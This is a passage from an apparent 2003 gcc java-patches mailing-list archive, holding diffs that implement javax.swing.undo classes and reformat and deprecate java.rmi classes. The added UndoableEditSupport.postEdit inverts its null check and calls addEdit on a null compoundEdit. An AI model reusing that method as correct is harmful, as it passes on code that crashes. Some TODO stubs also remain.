/** + * undo + * @throws CannotUndoException TODO + */ + public void undo() throws CannotUndoException + { + if (! canUndo()) + throw new CannotUndoException(); + hasBeenDone = false; + } // undo() } // AbstractUndoableEdit Index: javax/swing/undo/StateEdit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/undo/StateEdit.java,v retrieving revision 1.1 diff -u -r1.1 StateEdit.java --- javax/swing/undo/StateEdit.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/swing/undo/StateEdit.java 31 Mar 2003 06:27:22 -0000 @@ -1,5 +1,5 @@ -/* AbstractTableModel.java -- - Copyright (C) 2002 Free Software Foundation, Inc. +/* StateEdit.java -- + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -44,108 +44,133 @@ * StateEdit * @author Andrew Selkirk */ -public class StateEdit extends AbstractUndoableEdit { +public class StateEdit extends AbstractUndoableEdit +{ - //------------------------------------------------------------- - // Variables -------------------------------------------------- - //------------------------------------------------------------- - - /** - * RCSID - */ - protected static final String RCSID = ""; // TODO - - /** - * object - */ - protected StateEditable object; - - /** - * preState - */ - protected Hashtable preState; - - /** - * postState - */ - protected Hashtable postState; - - /** - * undoRedoName - */ - protected String undoRedoName; - - - //------------------------------------------------------------- - // Initialization --------------------------------------------- - //------------------------------------------------------------- - - /** - * Constructor StateEdit - * @param value0 TODO - */ - public StateEdit(StateEditable value0) { - // TODO - } // StateEdit() - - /** - * Constructor StateEdit - * @param value0 TODO - * @param value1 TODO - */ - public StateEdit(StateEditable value0, String value1) { - // TODO - } // StateEdit() - - - //------------------------------------------------------------- - // Methods ---------------------------------------------------- - //------------------------------------------------------------- - - /** - * init - * @param value0 TODO - * @param value1 TODO - */ - protected void init(StateEditable value0, String value1) { - // TODO - } // init() - - /** - * end - */ - public void end() { - // TODO - } // end() - - /** - * undo - */ - public void undo() { - // TODO - } // undo() - - /** - * redo - */ - public void redo() { - // TODO - } // redo() - - /** - * getPresentationName - * @returns String - */ - public String getPresentationName() { - return null; // TODO - } // getPresentationName() - - /** - * removeRedundantState - */ - protected void removeRedundantState() { - // TODO - } // removeRedundantState() - - -} // StateEdit + //------------------------------------------------------------- + // Variables -------------------------------------------------- + //------------------------------------------------------------- + + /** + * RCSID + */ + protected static final String RCSID = ""; // TODO + + /** + * object + */ + protected StateEditable object; + + /** + * preState + */ + protected Hashtable preState; + + /** + * postState + */ + protected Hashtable postState; + + /** + * undoRedoName + */ + protected String undoRedoName; + + + //------------------------------------------------------------- + // Initialization --------------------------------------------- + //------------------------------------------------------------- + + /** + * Constructor StateEdit + * @param obj Object to edit + */ + public StateEdit(StateEditable obj) + { + init(obj, null); + } + + /** + * Constructor StateEdit + * @param obj Object to edit + * @param name Presentation name + */ + public StateEdit(StateEditable obj, String name) + { + init(obj, name); + } + + + //------------------------------------------------------------- + // Methods ---------------------------------------------------- + //------------------------------------------------------------- + + /** + * Initialize this object. + * @param obj Object to edit + * @param name Presentation name + */ + protected void init(StateEditable obj, String name) + { + object = obj; + undoRedoName = name; + preState = new Hashtable(); + postState = new Hashtable(); + obj.storeState(preState); + } + + /** + * Indicate that all edits are finished, and update this object + * with final state. + */ + public void end() + { + object.storeState(postState); + removeRedundantState(); + } + + /** + * Undo this edit by applying the initial state to the edited object. + */ + public void undo() + { + object.restoreState(preState); + } + + /** + * Undo this edit by applying the final state to the edited object. + */ + public void redo() + { + object.restoreState(postState); + } + + /** + * Return the presentation name of this object. + * @returns The name, or null if not set + */ + public String getPresentationName() + { + return undoRedoName; + } + + /** + * removeRedundantState + */ + protected void removeRedundantState() + { + Iterator i = preState.keySet().iterator(); + while (i.hasNext()) + { + Object key = i.next(); + if (postState.containsKey(key)) + { + if (preState.get(key).equals(postState.get(key))) + { + i.remove(); + postState.remove(key); + } + } + } + } +} Index: javax/swing/undo/StateEditable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/undo/StateEditable.java,v retrieving revision 1.2 diff -u -r1.2 StateEditable.java --- javax/swing/undo/StateEditable.java 24 Mar 2003 14:05:02 -0000 1.2 +++ javax/swing/undo/StateEditable.java 31 Mar 2003 06:27:22 -0000 @@ -1,5 +1,5 @@ -/* AbstractTableModel.java -- - Copyright (C) 2002 Free Software Foundation, Inc. +/* StateEditable.java -- + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -46,20 +46,20 @@ */ public interface StateEditable { - /** - * Upon receiving this message the receiver should extract any relevant - * state out of state - * + * Restore State * @param state State */ public void restoreState(Hashtable state); /** - * Upon receiving this message the receiver should place any relevant state - * into state - * + * Store State * @param state State */ public void storeState(Hashtable state); + + /** + * For some reason, Sun made the RCS IDs visible. + */ + public static final String RCSID = "We aren't compatible"; } // StateEditable Index: javax/swing/undo/UndoableEditSupport.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/undo/UndoableEditSupport.java,v retrieving revision 1.1 diff -u -r1.1 UndoableEditSupport.java --- javax/swing/undo/UndoableEditSupport.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/swing/undo/UndoableEditSupport.java 31 Mar 2003 06:27:22 -0000 @@ -1,5 +1,5 @@ -/* AbstractTableModel.java -- - Copyright (C) 2002 Free Software Foundation, Inc. +/* UndoableEditSupport.java -- + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -45,126 +45,169 @@ * UndoableEditSupport * @author Andrew Selkirk */ -public class UndoableEditSupport { +public class UndoableEditSupport +{ - //------------------------------------------------------------- - // Variables -------------------------------------------------- - //------------------------------------------------------------- - - /** - * updateLevel - */ - protected int updateLevel; - - /** - * compoundEdit - */ - protected CompoundEdit compoundEdit; - - /** - * listeners - */ - protected Vector listeners = new Vector(); - - /** - * realSource - */ - protected Object realSource; - - - //------------------------------------------------------------- - // Initialization --------------------------------------------- - //------------------------------------------------------------- - - /** - * Constructor UndoableEditSupport - */ - public UndoableEditSupport() { - // TODO - } // UndoableEditSupport() - - /** - * Constructor UndoableEditSupport - * @param object TODO - */ - public UndoableEditSupport(Object object) { - realSource = object; - } // UndoableEditSupport() - - - //------------------------------------------------------------- - // Methods ---------------------------------------------------- - //------------------------------------------------------------- - - /** - * toString - * @returns String - */ - public String toString() { - return null; // TODO - } // toString() - - /** - * addUndoableEditListener - * @param value0 TODO - */ - public synchronized void addUndoableEditListener(UndoableEditListener value0) { - // TODO - } // addUndoableEditListener() - - /** - * removeUndoableEditListener - * @param value0 TODO - */ - public synchronized void removeUndoableEditListener(UndoableEditListener value0) { - // TODO - } // removeUndoableEditListener() - - /** - * _postEdit - * @param value0 TODO - */ - protected void _postEdit(UndoableEdit value0) { - // TODO - } // _postEdit() - - /** - * postEdit - * @param value0 TODO - */ - public synchronized void postEdit(UndoableEdit value0) { - // TODO - } // postEdit() - - /** - * getUpdateLevel - * @returns int - */ - public int getUpdateLevel() { - return 0; // TODO - } // getUpdateLevel() - - /** - * beginUpdate - */ - public synchronized void beginUpdate() { - // TODO - } // beginUpdate() - - /** - * createCompoundEdit - * @returns CompoundEdit - */ - protected CompoundEdit createCompoundEdit() { - return null; // TODO - } // createCompoundEdit() - - /** - * endUpdate - */ - public synchronized void endUpdate() { - // TODO - } // endUpdate() - - -} // UndoableEditSupport + //------------------------------------------------------------- + // Variables -------------------------------------------------- + //------------------------------------------------------------- + + /** + * updateLevel + */ + protected int updateLevel; + + /** + * compoundEdit + */ + protected CompoundEdit compoundEdit; + + /** + * listeners + */ + protected Vector listeners = new Vector(); + + /** + * realSource + */ + protected Object realSource; + + + //------------------------------------------------------------- + // Initialization --------------------------------------------- + //------------------------------------------------------------- + + /** + * Constructor UndoableEditSupport + */ + public UndoableEditSupport() + { + } + + /** + * Constructor UndoableEditSupport + * @param object TODO + */ + public UndoableEditSupport(Object object) + { + realSource = object; + } + + + //------------------------------------------------------------- + // Methods ---------------------------------------------------- + //------------------------------------------------------------- + + /** + * toString + * @returns String + */ + public String toString() + { + return (super.toString() + " realSource: " + realSource + + " updateLevel: " + updateLevel); + } + + /** + * Add a listener. + * @param val the listener + */ + public synchronized void addUndoableEditListener(UndoableEditListener val) + { + listeners.add(val); + } + + /** + * Remove a listener. + * @param val the listener + */ + public synchronized void removeUndoableEditListener(UndoableEditListener val) + { + listeners.removeElement(val); + } + + /** + * Return an array of all listeners. + * @returns all the listeners + */ + public synchronized UndoableEditListener[] getUndoableEditListeners() + { + UndoableEditListener[] result = new UndoableEditListener[listeners.size()]; + return (UndoableEditListener[]) listeners.toArray(result); + } + + /** + * _postEdit + * @param value0 TODO + */ + protected void _postEdit(UndoableEdit edit) + { + UndoableEditEvent event = new UndoableEditEvent(realSource, edit); + int max = listeners.size(); + for (int i = 0; i < max; ++i) + { + UndoableEditListener l + = (UndoableEditListener) (listeners.elementAt(i)); + l.undoableEditHappened(event); + } + } + + /** + * postEdit + * @param value0 TODO + */ + public synchronized void postEdit(UndoableEdit edit) + { + if (compoundEdit == null) + compoundEdit.addEdit(edit); + else + _postEdit(edit); + } + + /** + * getUpdateLevel + * @returns int + */ + public int getUpdateLevel() + { + return updateLevel; + } + + /** + * beginUpdate + */ + public synchronized void beginUpdate() + { + if (compoundEdit != null) + { + // FIXME: what? We can't push a new one. This isn't even + // documented anyway. + endUpdate(); + } + + compoundEdit = createCompoundEdit(); + ++updateLevel; + } + + /** + * createCompoundEdit + * @returns CompoundEdit + */ + protected CompoundEdit createCompoundEdit() + { + return new CompoundEdit(); + } + + /** + * endUpdate + */ + public synchronized void endUpdate() + { + // FIXME: assert updateLevel == 1; + compoundEdit.end(); + CompoundEdit c = compoundEdit; + compoundEdit = null; + --updateLevel; + _postEdit(c); + } +} --Boundary-00=_PC+h+pocQN4g3dA-- From java-patches-return-6623-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 06:33:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27765 invoked by alias); 31 Mar 2003 06:33:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27757 invoked from network); 31 Mar 2003 06:33:42 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 31 Mar 2003 06:33:42 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-168.ewetel.net [80.228.68.168]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2V6XejL018334 for ; Mon, 31 Mar 2003 08:33:41 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zspf-0005NZ-00 for ; Mon, 31 Mar 2003 08:31:47 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.rmi Date: Mon, 31 Mar 2003 08:35:12 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_gG+h+b3eKD8UbUK" Message-Id: <200303310835.12893.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_gG+h+b3eKD8UbUK Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to reformat some code. This=20 patch will go into classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+h+GgWSOgCCdjSDsRAn9IAJ9m+R2BPFO4iDXYYA5vKAFEX7uq0gCgiqE/ 7l11B3c8zsEGov5/rUgC28s=3D =3DgwBe =2D----END PGP SIGNATURE----- --Boundary-00=_gG+h+b3eKD8UbUK Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1826 diff -u -r1.1826 ChangeLog --- ChangeLog 30 Mar 2003 06:43:44 -0000 1.1826 +++ ChangeLog 31 Mar 2003 06:27:48 -0000 @@ -1,3 +1,14 @@ +2003-03-31 Michael Koch + + * java/rmi/dgc/VMID.java, + java/rmi/registry/RegistryHandler.java, + java/rmi/server/LogStream.java, + java/rmi/server/Operation.java, + java/rmi/server/RemoteCall.java, + java/rmi/server/RemoteRef.java, + java/rmi/server/RemoteStub.java: + Reformatted. + 2003-03-29 Eric Blake Tom Tromey Index: java/rmi/dgc/VMID.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/dgc/VMID.java,v retrieving revision 1.2 diff -u -r1.2 VMID.java --- java/rmi/dgc/VMID.java 22 Jan 2002 22:40:26 -0000 1.2 +++ java/rmi/dgc/VMID.java 31 Mar 2003 06:27:48 -0000 @@ -38,79 +38,98 @@ package java.rmi.dgc; import java.io.Serializable; -import java.rmi.server.UID; import java.net.InetAddress; import java.net.UnknownHostException; +import java.rmi.server.UID; -public final class VMID - implements Serializable { - -static final long serialVersionUID = -538642295484486218L; -static final boolean areWeUnique; -static byte[] localAddr; - -private byte[] addr; -private UID uid; - -static { - byte[] addr; - boolean awu = true; - try { - addr = InetAddress.getLocalHost().getAddress(); - if (addr[0] == 127 && addr[1] == 0 && addr[2] == 0 && addr[3] == 1) { - awu = false; - } - } - catch (UnknownHostException _) { - addr = new byte[]{ 127, 0, 0, 1 }; - awu = false; - } - localAddr = addr; - areWeUnique = awu; -} - -public VMID() { - addr = localAddr; - uid = new UID(); -} - -public static boolean isUnique() { - return (areWeUnique); -} - -public int hashCode() { - return (super.hashCode()); -} - -public boolean equals(Object obj) { - if (!(obj instanceof VMID)) { - return (false); - } - VMID other = (VMID)obj; - if (addr.length != other.addr.length) { - return (false); - } - for (int i = addr.length - 1; i >= 0; i--) { - if (addr[i] != other.addr[i]) { - return (false); - } - } - return (uid.equals(other.uid)); -} - -public String toString() { - StringBuffer buf = new StringBuffer("[VMID: "); - for (int i = 0; i < addr.length; i++) { - if (i > 0) { - buf.append("."); - } - buf.append(Integer.toString(addr[i])); - } - buf.append(" "); - buf.append(uid.toString()); - buf.append("]"); - - return (buf.toString()); -} +public final class VMID implements Serializable +{ + static final long serialVersionUID = -538642295484486218L; + + static final boolean areWeUnique; + + static byte[] localAddr; + + private byte[] addr; + + private UID uid; + + static + { + byte[] addr; + boolean awu = true; + try { + addr = InetAddress.getLocalHost().getAddress(); + if (addr[0] == 127 && addr[1] == 0 && addr[2] == 0 && addr[3] == 1) { + awu = false; + } + } + catch (UnknownHostException _) { + addr = new byte[]{ 127, 0, 0, 1 }; + awu = false; + } + localAddr = addr; + areWeUnique = awu; + } + + public VMID() + { + addr = localAddr; + uid = new UID(); + } + + public static boolean isUnique () + { + return areWeUnique; + } + + public int hashCode () + { + return super.hashCode(); + } + + public boolean equals (Object obj) + { + if (!(obj instanceof VMID)) + { + return false; + } + + VMID other = (VMID) obj; + if (addr.length != other.addr.length) + { + return false; + } + + for (int i = addr.length - 1; i >= 0; i--) + { + if (addr[i] != other.addr[i]) + { + return false; + } + } + + return uid.equals(other.uid); + } + + public String toString () + { + StringBuffer buf = new StringBuffer ("[VMID: "); + + for (int i = 0; i < addr.length; i++) + { + if (i > 0) + { + buf.append ("."); + } + + buf.append (Integer.toString (addr [i])); + } + + buf.append (" "); + buf.append (uid.toString ()); + buf.append ("]"); + return buf.toString(); + } } Index: java/rmi/registry/RegistryHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/registry/RegistryHandler.java,v retrieving revision 1.4 diff -u -r1.4 RegistryHandler.java --- java/rmi/registry/RegistryHandler.java 24 Mar 2003 14:01:41 -0000 1.4 +++ java/rmi/registry/RegistryHandler.java 31 Mar 2003 06:27:48 -0000 @@ -43,12 +43,16 @@ /** * @deprecated */ -public interface RegistryHandler { - -/** @deprecated */ -public Registry registryStub(String host, int port) throws RemoteException, UnknownHostException; - -/** @deprecated */ -public Registry registryImpl(int port) throws RemoteException; +public interface RegistryHandler +{ + /** + * @deprecated + */ + public Registry registryStub (String host, int port) + throws RemoteException, UnknownHostException; + /** + * @deprecated + */ + public Registry registryImpl (int port) throws RemoteException; } Index: java/rmi/server/LogStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/LogStream.java,v retrieving revision 1.4 diff -u -r1.4 LogStream.java --- java/rmi/server/LogStream.java 21 Mar 2003 09:00:29 -0000 1.4 +++ java/rmi/server/LogStream.java 31 Mar 2003 06:27:48 -0000 @@ -44,8 +44,7 @@ /** * @deprecated */ -public class LogStream - extends PrintStream +public class LogStream extends PrintStream { public static final int SILENT = 0; public static final int BRIEF = 10; @@ -53,68 +52,71 @@ private static PrintStream defStream; - private LogStream(OutputStream s) + private LogStream (OutputStream s) { - super(s); + super (s); } - public static LogStream log(String name) + /** + * @deprecated + */ + public static LogStream log (String name) { - throw new Error("Not implemented"); + throw new Error ("Not implemented"); } - public static PrintStream getDefaultStream() + public static PrintStream getDefaultStream () { - return (defStream); + return defStream; } - public static void setDefaultStream(PrintStream s) + public static void setDefaultStream (PrintStream s) { defStream = s; } - public OutputStream getOutputStream() + public OutputStream getOutputStream () { - return (out); + return out; } - public void setOutputStream(OutputStream s) + public void setOutputStream (OutputStream s) { out = s; } - public void write(int b) + public void write (int buffer) { - super.write(b); + super.write (buffer); } - public void write(byte[] b, int off, int len) + public void write (byte[] buffer, int offset, int len) { - super.write(b, off, len); + super.write (buffer, offset, len); } - public String toString() + public String toString () { - throw new Error("Not implemented"); + throw new Error ("Not implemented"); } - public static int parseLevel(String s) { - if (s.equalsIgnoreCase("silent")) + public static int parseLevel (String s) + { + if (s.equalsIgnoreCase ("silent")) { - return (SILENT); + return SILENT; } - if (s.equalsIgnoreCase("brief")) + if (s.equalsIgnoreCase ("brief")) { - return (BRIEF); + return BRIEF; } - if (s.equalsIgnoreCase("verbose")) + if (s.equalsIgnoreCase ("verbose")) { - return (VERBOSE); + return VERBOSE; } - return (SILENT); -} - + return SILENT; + } } Index: java/rmi/server/Operation.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/Operation.java,v retrieving revision 1.3 diff -u -r1.3 Operation.java --- java/rmi/server/Operation.java 21 Mar 2003 09:00:29 -0000 1.3 +++ java/rmi/server/Operation.java 31 Mar 2003 06:27:48 -0000 @@ -40,20 +40,22 @@ /** * @deprecated */ -public class Operation { +public class Operation +{ + private String operation; -private String operation; + public Operation (String op) + { + operation = op; + } -public Operation(String op) { - operation = op; -} - -public String getOperation() { - return (operation); -} - -public String toString() { - return (operation); -} + public String getOperation () + { + return operation; + } + public String toString () + { + return operation; + } } Index: java/rmi/server/RemoteCall.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteCall.java,v retrieving revision 1.3 diff -u -r1.3 RemoteCall.java --- java/rmi/server/RemoteCall.java 21 Mar 2003 09:00:29 -0000 1.3 +++ java/rmi/server/RemoteCall.java 31 Mar 2003 06:27:48 -0000 @@ -46,14 +46,20 @@ /** * @deprecated */ -public interface RemoteCall { +public interface RemoteCall +{ + public ObjectOutput getOutputStream () throws IOException; -public ObjectOutput getOutputStream() throws IOException; -public void releaseOutputStream() throws IOException; -public ObjectInput getInputStream() throws IOException; -public void releaseInputStream() throws IOException; -public ObjectOutput getResultStream(boolean success) throws IOException, StreamCorruptedException; -public void executeCall() throws Exception; -public void done() throws IOException; + public void releaseOutputStream () throws IOException; + public ObjectInput getInputStream () throws IOException; + + public void releaseInputStream () throws IOException; + + public ObjectOutput getResultStream (boolean success) + throws IOException, StreamCorruptedException; + + public void executeCall () throws Exception; + + public void done () throws IOException; } Index: java/rmi/server/RemoteRef.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteRef.java,v retrieving revision 1.2 diff -u -r1.2 RemoteRef.java --- java/rmi/server/RemoteRef.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/RemoteRef.java 31 Mar 2003 06:27:48 -0000 @@ -43,19 +43,28 @@ import java.rmi.RemoteException; import java.io.ObjectOutput; -public interface RemoteRef - extends Externalizable { +public interface RemoteRef extends Externalizable +{ + public static final long serialVersionUID = 0; + + public static final String packagePrefix = "gnu.java.rmi.server"; -public static final long serialVersionUID = 0; -public static final String packagePrefix = "gnu.java.rmi.server"; - -public void invoke(RemoteCall call) throws Exception; -public Object invoke(Remote obj, Method method, Object[] params, long opnum) throws Exception; -public RemoteCall newCall(RemoteObject obj, Operation[] op, int opnum, long hash) throws RemoteException; -public void done(RemoteCall call) throws RemoteException; -public boolean remoteEquals(RemoteRef ref); -public int remoteHashCode(); -public String getRefClass(ObjectOutput out); -public String remoteToString(); + public void invoke(RemoteCall call) throws Exception; + + public Object invoke (Remote obj, Method method, Object[] params, long opnum) + throws Exception; + + public RemoteCall newCall (RemoteObject obj, Operation[] op, int opnum, + long hash) + throws RemoteException; + public void done (RemoteCall call) throws RemoteException; + + public boolean remoteEquals (RemoteRef ref); + + public int remoteHashCode (); + + public String getRefClass (ObjectOutput out); + + public String remoteToString (); } Index: java/rmi/server/RemoteStub.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteStub.java,v retrieving revision 1.3 diff -u -r1.3 RemoteStub.java --- java/rmi/server/RemoteStub.java 21 Mar 2003 09:00:29 -0000 1.3 +++ java/rmi/server/RemoteStub.java 31 Mar 2003 06:27:48 -0000 @@ -37,8 +37,7 @@ package java.rmi.server; -public abstract class RemoteStub - extends RemoteObject +public abstract class RemoteStub extends RemoteObject { static final long serialVersionUID = -1585587260594494182l; --Boundary-00=_gG+h+b3eKD8UbUK-- From java-patches-return-6624-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 06:49:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31218 invoked by alias); 31 Mar 2003 06:49:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31211 invoked from network); 31 Mar 2003 06:49:17 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 31 Mar 2003 06:49:17 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-168.ewetel.net [80.228.68.168]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2V6nFdx024428 for ; Mon, 31 Mar 2003 08:49:16 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zt4k-0005OA-00 for ; Mon, 31 Mar 2003 08:47:22 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.rmi - many @deprecated added Date: Mon, 31 Mar 2003 08:50:47 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_HV+h+BE6XFuKvZK" Message-Id: <200303310850.47834.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_HV+h+BE6XFuKvZK Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to make many methods in=20 java.rmi deprecated. This patch will go into classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+h+VHWSOgCCdjSDsRAmDwAKCFCSHFM4oDROYIKbm1/SwLQbZyZACfQ91n =46yea0mBNnuTnPlpLfStSP6Q=3D =3DtHbh =2D----END PGP SIGNATURE----- --Boundary-00=_HV+h+BE6XFuKvZK Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi-2.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi-2.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1830 diff -u -r1.1830 ChangeLog --- ChangeLog 31 Mar 2003 06:32:37 -0000 1.1830 +++ ChangeLog 31 Mar 2003 06:47:28 -0000 @@ -1,5 +1,41 @@ 2003-03-31 Michael Koch + * java/rmi/server/LoaderHandler.java + (loadClass): Deprecated. + (getSecurityContext): Deprecated. + * java/rmi/server/LogStream.java + (getDefaultStream): Deprecated. + (setDefaultStream): Deprecated. + (getOutputStream): Deprecated. + (setOutputStream): Deprecated. + (write): Deprecated. + (toString): Deprecated. + (parseLevel): Deprecated. + * java/rmi/server/Operation.java + (Operation): Deprecated. + (getOperation): Deprecated. + (toString): Deprecated. + * java/rmi/server/RemoteCall.java + (getOutputStream): Deprecated. + (releaseOutputStream): Deprecated. + (getInputStream): Deprecated. + (releaseInputStream): Deprecated. + (getResultStream): Deprecated. + (executeCall): Deprecated. + (done): Deprecated. + * java/rmi/server/RemoteRef.java + (invoke): Deprecated. + (newCall): Deprecated. + (done): Deprecated. + * java/rmi/server/RemoteStub.java + (setRef): Deprecated. + * java/rmi/server/Skeleton.java: + No need to import java.lang.Exception explicitly. + (dispatch): Deprecated. + (getOperations): Deprecated. + +2003-03-31 Michael Koch + * java/rmi/dgc/VMID.java, java/rmi/registry/RegistryHandler.java, java/rmi/server/LogStream.java, Index: java/rmi/server/LoaderHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/LoaderHandler.java,v retrieving revision 1.3 diff -u -r1.3 LoaderHandler.java --- java/rmi/server/LoaderHandler.java 21 Mar 2003 09:00:29 -0000 1.3 +++ java/rmi/server/LoaderHandler.java 31 Mar 2003 06:47:28 -0000 @@ -47,11 +47,20 @@ { public static final String packagePrefix = ""; + /** + * @deprecated + */ public Class loadClass(String name) throws MalformedURLException, ClassNotFoundException; + /** + * @deprecated + */ public Class loadClass(URL codebase, String name) throws MalformedURLException, ClassNotFoundException; + /** + * @deprecated + */ public Object getSecurityContext(ClassLoader loader); } Index: java/rmi/server/LogStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/LogStream.java,v retrieving revision 1.5 diff -u -r1.5 LogStream.java --- java/rmi/server/LogStream.java 31 Mar 2003 06:32:37 -0000 1.5 +++ java/rmi/server/LogStream.java 31 Mar 2003 06:47:28 -0000 @@ -65,41 +65,65 @@ throw new Error ("Not implemented"); } + /** + * @deprecated + */ public static PrintStream getDefaultStream () { return defStream; } + /** + * @deprecated + */ public static void setDefaultStream (PrintStream s) { defStream = s; } + /** + * @deprecated + */ public OutputStream getOutputStream () { return out; } + /** + * @deprecated + */ public void setOutputStream (OutputStream s) { out = s; } + /** + * @deprecated + */ public void write (int buffer) { super.write (buffer); } + /** + * @deprecated + */ public void write (byte[] buffer, int offset, int len) { super.write (buffer, offset, len); } + /** + * @deprecated + */ public String toString () { throw new Error ("Not implemented"); } + /** + * @deprecated + */ public static int parseLevel (String s) { if (s.equalsIgnoreCase ("silent")) Index: java/rmi/server/Operation.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/Operation.java,v retrieving revision 1.4 diff -u -r1.4 Operation.java --- java/rmi/server/Operation.java 31 Mar 2003 06:32:37 -0000 1.4 +++ java/rmi/server/Operation.java 31 Mar 2003 06:47:28 -0000 @@ -44,16 +44,25 @@ { private String operation; + /** + * @deprecated + */ public Operation (String op) { operation = op; } + /** + * @deprecated + */ public String getOperation () { return operation; } + /** + * @deprecated + */ public String toString () { return operation; Index: java/rmi/server/RemoteCall.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteCall.java,v retrieving revision 1.4 diff -u -r1.4 RemoteCall.java --- java/rmi/server/RemoteCall.java 31 Mar 2003 06:32:37 -0000 1.4 +++ java/rmi/server/RemoteCall.java 31 Mar 2003 06:47:28 -0000 @@ -48,18 +48,39 @@ */ public interface RemoteCall { + /** + * @deprecated + */ public ObjectOutput getOutputStream () throws IOException; + /** + * @deprecated + */ public void releaseOutputStream () throws IOException; + /** + * @deprecated + */ public ObjectInput getInputStream () throws IOException; + /** + * @deprecated + */ public void releaseInputStream () throws IOException; + /** + * @deprecated + */ public ObjectOutput getResultStream (boolean success) throws IOException, StreamCorruptedException; + /** + * @deprecated + */ public void executeCall () throws Exception; + /** + * @deprecated + */ public void done () throws IOException; } Index: java/rmi/server/RemoteRef.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteRef.java,v retrieving revision 1.3 diff -u -r1.3 RemoteRef.java --- java/rmi/server/RemoteRef.java 31 Mar 2003 06:32:37 -0000 1.3 +++ java/rmi/server/RemoteRef.java 31 Mar 2003 06:47:28 -0000 @@ -49,15 +49,24 @@ public static final String packagePrefix = "gnu.java.rmi.server"; + /** + * @deprecated + */ public void invoke(RemoteCall call) throws Exception; public Object invoke (Remote obj, Method method, Object[] params, long opnum) throws Exception; + /** + * @deprecated + */ public RemoteCall newCall (RemoteObject obj, Operation[] op, int opnum, long hash) throws RemoteException; + /** + * @deprecated + */ public void done (RemoteCall call) throws RemoteException; public boolean remoteEquals (RemoteRef ref); Index: java/rmi/server/RemoteStub.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteStub.java,v retrieving revision 1.4 diff -u -r1.4 RemoteStub.java --- java/rmi/server/RemoteStub.java 31 Mar 2003 06:32:37 -0000 1.4 +++ 